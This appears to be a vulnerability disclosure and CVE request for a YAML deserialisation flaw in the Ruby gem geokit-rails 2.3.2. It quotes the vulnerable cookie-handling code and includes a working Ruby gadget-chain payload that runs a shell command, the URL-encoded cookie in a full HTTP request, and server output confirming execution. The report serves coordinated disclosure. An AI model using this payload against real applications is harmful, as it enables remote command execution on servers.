Headline
CVE-2023-26153: geokit-rails v2.3.2 Unsafe Deserialisation
Versions of the package geokit-rails before 2.5.0 are vulnerable to Command Injection due to unsafe deserialisation of YAML within the ‘geo_location’ cookie. This issue can be exploited remotely via a malicious cookie value. Note: An attacker can use this vulnerability to execute commands on the host system.
Disclosure Status
I have already disclosed this to the maintainer, who issued a fix in version 2.5.0 (https://rubygems.org/gems/geokit-rails/versions/2.5.0). I’d like to request a CVE be assigned for this vulnerability.
Technical Details:
I have identified that geokit-rails version 2.3.2 is vulnerable to command injection due to unsafe deserialisation of YAML within the ‘geo_location’ cookie. The code within the library that triggers unsafe YAML deserialisation can be found in the IpGeocodeLookup module (https://github.com/geokit/geokit-rails/blob/master/lib/geokit-rails/ip_geocode_lookup.rb#L37)
# Uses the stored location value from the cookie if it exists. If # no cookie exists, calls out to the web service to get the location. def retrieve_location_from_cookie_or_service return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location] location = Geocoders::MultiGeocoder.geocode(get_ip_address) return location.success ? location : nil end
This issue can be exploited remotely via a malicious cookie value, which likely increases the potential impact and severity of the issue.
Proof Of Concept/Steps to Reproduce:
The YAML payload used will execute the command ‘id’ upon deserialisation:
—
- !ruby/object:Gem::Installer i: x
- !ruby/object:Gem::SpecFetcher i: y
- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: “abc” debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module ‘Kernel’ method_id: :system git_set: id method_id: :resolve
The HTTP trace below illustrates the URL-encoded payload used in the geo_location cookie of a GET request to trigger this issue:
GET http://127.0.0.1:3000/vulns HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Length: 0 Cookie: geo_location=—%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D–YAEA%2FepI0t701ifo–fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt
The server stack trace shows that the payload was deserialised and the arbitrary command (id) was executed when the request was processed:
Processing by VulnsController#index as HTML
sh: reading: command not found
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
Completed 500 Internal Server Error in 167ms (Allocations: 35610)
Related news
Versions of the package geokit-rails before 2.5.0 are vulnerable to Command Injection due to unsafe deserialisation of YAML within the 'geo_location' cookie. This issue can be exploited remotely via a malicious cookie value. **Note:** An attacker can use this vulnerability to execute commands on the host system.